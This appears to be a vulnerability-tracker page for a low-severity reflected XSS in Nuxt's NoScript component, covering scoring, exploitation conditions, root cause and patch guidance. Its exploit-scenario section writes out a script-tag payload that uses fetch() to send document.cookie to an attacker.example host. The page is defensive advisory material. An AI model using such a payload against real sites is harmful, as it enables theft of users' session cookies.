Skip to main content

Nuxt CVE-2026-56317

| EUVDEUVD-2026-38112 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-20 VulnCheck GHSA-xppm-jmw6-fhmf
2.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify Nuxt SSR page interpolating query params into NoScript slot
  2. Delivery
    Craft URL embedding script tag payload in query parameter
  3. Exploit
    Deliver crafted URL to victim via phishing or redirect
  4. Install
    Victim browser requests URL from Nuxt SSR server
  5. C2
    Server writes unescaped payload to noscript innerHTML
  6. Execute
    HTML parser implicitly closes noscript and reprocesses script tag in document head
  7. Impact
    Injected script executes and exfiltrates session cookies

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target Nuxt application contains code that explicitly renders attacker-controllable data inside a NoScript slot - for example, a component or page containing NoScript with route.query.someParam or equivalent attacker-influenced input. Applications that do not use the NoScript global component with dynamic untrusted input are entirely unaffected regardless of Nuxt version. The CVSS 4.0 AT:P metric confirms this application-level precondition. The page must also be server-side rendered so the payload is embedded in the HTML head at response time. Additionally, UI:P in the CVSS 4.0 vector confirms the victim must passively visit the crafted URL; there is no self-propagating or server-initiated delivery path. Exploitation is limited by: (1) the specific vulnerable code pattern must exist in the application - not a default Nuxt feature; (2) a victim must be enticed to follow a crafted URL; (3) exploitation is scoped to the victim's browser session context. The CVSS PR:N metric confirms no attacker authentication is required.

Impact

The CVSS 4.0 score of 2.3 (AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N) is internally consistent with the technical description and appropriately low. AT:P (attack requirements present) is the critical limiting factor: the vulnerability is not universally triggerable - it requires an application developer to have written code that pipes attacker-controlled data directly into a NoScript slot, a specific and non-default pattern. Teams that do not use NoScript with dynamic untrusted input are entirely unaffected regardless of version. UI:P reflects that a victim must visit a crafted URL. Despite these constraints, teams that do match the vulnerable pattern face real reflected XSS with no authentication barrier, and the public GHSA advisory contains sufficient technical detail to reconstruct the attack. No CISA KEV listing exists and no EPSS score was provided, so exploitation prevalence is unknown. No public POC has been independently confirmed. The low VC:L and VI:L impact metrics are appropriate for reflected XSS limited to the victim's session context. No conflicting signals between CVSS metrics and the technical description were identified.

Exploit ScenarioDerived

An attacker identifies a Nuxt SSR application that renders a page containing NoScript with a query parameter interpolated into its slot, such as NoScript with route.query.banner. The attacker crafts a URL appending a query string like banner=<script>fetch('https://attacker.example/?c='+document.cookie)</script> and delivers it to a victim via phishing or a malicious redirect. The Nuxt server renders the page, writes the unescaped payload into the noscript element via innerHTML, and the browser's HTML parser - operating in 'in head noscript' mode - implicitly closes the noscript tag upon encountering the script tag, causing the injected script to execute in the document context and exfiltrate the victim's session cookies. No independently confirmed public POC exists at time of analysis, though the GHSA advisory's technical detail is sufficient to reconstruct the attack.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Cross-site scripting in Nuxt's globally registered NoScript component allows unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by injecting payload via attacker-controlled slot content, such as URL query parameters. The vulnerability exists in both supported release lines - 3.x before 3.21.7 and 4.x before 4.4.7 - and is rooted in the server-side rendering pipeline writing slot content to innerHTML without escaping, bypassing Vue's normal template sanitization. No active exploitation has been confirmed in CISA KEV; vendor-released patches are available and the fix is a one-line change confirmed in open commit history.

RemediationAI

Vendor-released patches are available: upgrade to nuxt@4.4.7 for 4.x users or nuxt@3.21.7 for 3.x users, as confirmed in GHSA-m3q2-p4fw-w38m. The fix replaces the innerHTML assignment with textContent and applies escapeHtml from @vue/shared, confirmed in commit 4b054e9d95f8daf366cb144b52782047c511a66e (4.x) and 7fea9fd687f1dacbfb63db5fae5839896b017a0e (3.x). Note that after patching, intentional HTML markup inside NoScript slots will no longer be parsed as HTML - applications that deliberately embedded HTML inside NoScript should audit this behavioral change. For teams unable to upgrade immediately, the vendor advisory recommends two workarounds: first, eliminate the pattern entirely by replacing dynamic slot content such as NoScript with {{ x }} with a static string, which removes the attack surface with no trade-off; second, if dynamic noscript content is required, use useHead({ noscript: [{ textContent: escapedValue }] }) after manually HTML-escaping the value beforehand. The second workaround carries risk if the manual escaping step is incomplete or inconsistent. See https://github.com/nuxt/nuxt/security/advisories/GHSA-m3q2-p4fw-w38m for full advisory detail.

Affected VersionsENISA

nuxt 0 <3.21.7
nuxt 4.0.0 <4.4.7

Affected Packages

npm nuxt fix: 3.21.7, 4.4.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The NoScript component is a globally registered Vue component in Nuxt, sourced from the @unhead/vue head-management package and re-exported by Nuxt for use in all applications. Its role is to populate the server-rendered HTML head's noscript element with slot content. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is a single-line defect: slot text was concatenated and assigned via noscript.innerHTML rather than noscript.textContent, meaning Vue's normal double-brace escaping was irrelevant - the raw string went directly to the DOM sink. The HTML parser's 'in head noscript' insertion mode (defined by the HTML5 parsing spec) means that tags other than link, meta, noframes, or style implicitly close the noscript element and are reprocessed in the document head, causing an injected script tag to execute. Sibling components Style and Title were unaffected because they already used the textContent path. CPE cpe:2.3:a:nuxt:nuxt:*:*:*:*:*:*:*:* covers both the 3.x and 4.x affected ranges as confirmed by EUVD-2026-38112.

Know when Nuxt gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 2.3 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 4.7 MEDIUM

AC:H because exploitation requires application code to pass attacker-controlled input into a NoScript slot; S:C because the injected script escapes the noscript element into the document context.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Nuxt before 4.4.7 (and the 3.x branch before 3.21.7) contains a cross-site scripting vulnerability in the NoScript component that writes slot content to innerHTML without escaping. Attackers can inject malicious scripts through untrusted data in NoScript slots, such as route.query parameters, which execute in the document context when the noscript tag is implicitly closed by script tags.

Threat Intelligence Overview

EPSS Score
0.4%
Top 72% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

12
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +12
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Nuxt

View all
CVE-2023-3224 CRITICAL POC
9.8 Jun 13

Code Injection in GitHub repository nuxt/nuxt prior to 3.5.3. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2024-34344 HIGH POC
8.8 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2024-23657 HIGH POC
8.8 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2024-42352 HIGH POC
7.5 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve

CVE-2026-61793 MEDIUM POC
6.9 Sep 17

Unauthenticated server-side request forgery in Nuxt OG Image (the npm package nuxt-og-image) 6.0.2 through 6.6.x allows

CVE-2025-52662 MEDIUM POC
6.1 Nov 07

A vulnerability in Nuxt DevTools has been fixed in version **2.6.4***. Rated medium severity (CVSS 6.9), this vulnerabil

CVE-2024-34343 MEDIUM POC
6.1 Aug 05

Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated medium se

CVE-2023-0878 MEDIUM POC
6.1 Feb 17

Cross-site Scripting (XSS) - Generic in GitHub repository nuxt/framework prior to 3.2.1. Rated medium severity (CVSS 6.1

CVE-2022-4413 MEDIUM POC
6.1 Dec 12

Cross-site Scripting (XSS) - Reflected in GitHub repository nuxt/framework prior to v3.0.0-rc.13. Rated medium severity

CVE-2023-2138 CRITICAL
9.8 Apr 18

Use of Hard-coded Credentials in GitHub repository nuxtlabs/github-module prior to 1.6.2. Rated critical severity (CVSS

CVE-2026-41248 CRITICAL
9.1 Apr 24

Authentication/authorization bypass in Clerk's official JavaScript SDKs (@clerk/nextjs, @clerk/nuxt, @clerk/astro, and t

CVE-2026-53721 HIGH POC
8.8 Jun 12

Route-rule middleware bypass in Nuxt 3.11.0-3.21.6 and 4.0.0-4.4.6 allows remote attackers to evade routeRules-defined p

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy